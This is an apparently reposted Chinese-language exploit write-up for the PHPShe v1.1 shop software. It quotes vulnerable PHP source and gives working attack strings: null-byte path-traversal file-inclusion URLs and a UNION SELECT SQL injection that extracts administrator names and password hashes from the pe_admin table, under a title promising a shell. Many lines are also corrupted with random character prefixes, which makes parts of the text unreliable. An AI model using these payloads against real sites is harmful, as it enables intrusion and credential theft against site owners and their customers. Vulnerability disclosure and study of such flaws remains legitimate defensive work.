phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
$ s% o' X" V" s- C/* Phpshe v1.1 Vulnerability
8 `/ z# ?8 S. l$ d/* ========================
& o0 T. l7 G" q$ u' _* j/* By: : Kn1f3
8 I  Q3 L3 P) x/* E-Mail : 681796@qq.com
/*******************************************************/
0 q  I0 z: h  j/ S0×00 整体大概参数传输

: w2 |) h+ |* U4 s2 V" p/ e

& v) y+ P8 u% q6 q9 X& x& U//common.php
if (get_magic_quotes_gpc()) {
7 G# K5 l+ G, W. a- t!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
4 w* y5 [/ b; \+ @- @, K1 m0 x}
else {
  m2 R3 d# ~' |& d6 O% j5 O4 W# a!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
4 u$ g8 l/ X. ?!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
2 u* p3 h2 a0 R4 n8 ?1 E: Z$ vsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
2 v. d' b2 n0 Xinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
; ^" G( }9 r; e0 z# C, D( p//common 文件 第15行开始
3 v' c' C# H; h6 O1 vurl路由配置
$module = $mod = $act = 'index';
& x! o$ `3 [. I& _* O  i$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
% R3 x0 m4 `: W//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

; {0 d& ~" f0 m* C+ x1 S 0×02 搜索注入
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- [' ^3 V4 ^+ f# j: i<code id="code2">

//product.php文件
4 `" {- F6 N( L) z! u# [case 'list':
: q- \1 \  i; B! [$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
8 R, A5 `! {. K; s  R* ^7 B2 w+ Rpe_lead('hook/category.hook.php');
, i/ p( D( ~5 r7 e7 ]if ($category_id) {
' W* O7 x& l5 p! W# O- ^( Ywhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
4 s$ z4 m  y) N% Y. W4 J}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
; x3 {" R$ [- u2 C4 A$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
* E# z# n* R% A' ?* @1 o" t5 v5 J7 k* eelse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
5 c4 ~" r& S. E//热卖排行
# X+ g) V- S$ x( l$product_hotlist = product_hotlist();
//当前路径
9 K3 D  u! R" i$ K$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
, i  R3 ?5 ^& H* w7 P0 @7 D- B( xinclude(pe_tpl('product_list.html'));
- j+ |+ c8 T+ s8 U/ U8 d//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
1 Z4 m- Z6 Z; s9 |* e' u) M. W$ U3 K}
$ u5 x- U( x/ ?+ p//exp
0 f: i$ A4 n7 M) Pproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
+ c3 h  b* |8 [+ e2 f. v

</code>
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0×03 包含漏洞2

' B% A7 F$ k  _<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

1 @  o3 H+ s- d' c$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

+ J9 r* h4 D8 t3 j5 Q' _" {7 jif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

% s" ?% s8 H9 }' }7 i' ]5 N1 [}

0 A1 g+ E% K/ d6 Z- d0 l}

/ s3 m$ w3 f. q# h5 q$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

% T" U5 d1 q$ o7 R& f# j6 Y9 o!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

. ~3 Z7 o. ~: S) j! }" z) rif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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/ d7 N. G" Z" h( @6 F* W}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

6 ?. _$ N$ n' r# ^5 i  i}//当一切准备好的时候就可以进行"鸡肋包含了"

* l# g3 x* K+ w3 zelse {

5 [& c3 |$ s; p* Y5 d1 K7 Fpe_error('支付错误...');

}

( I0 m! G# U) p7 P7 I}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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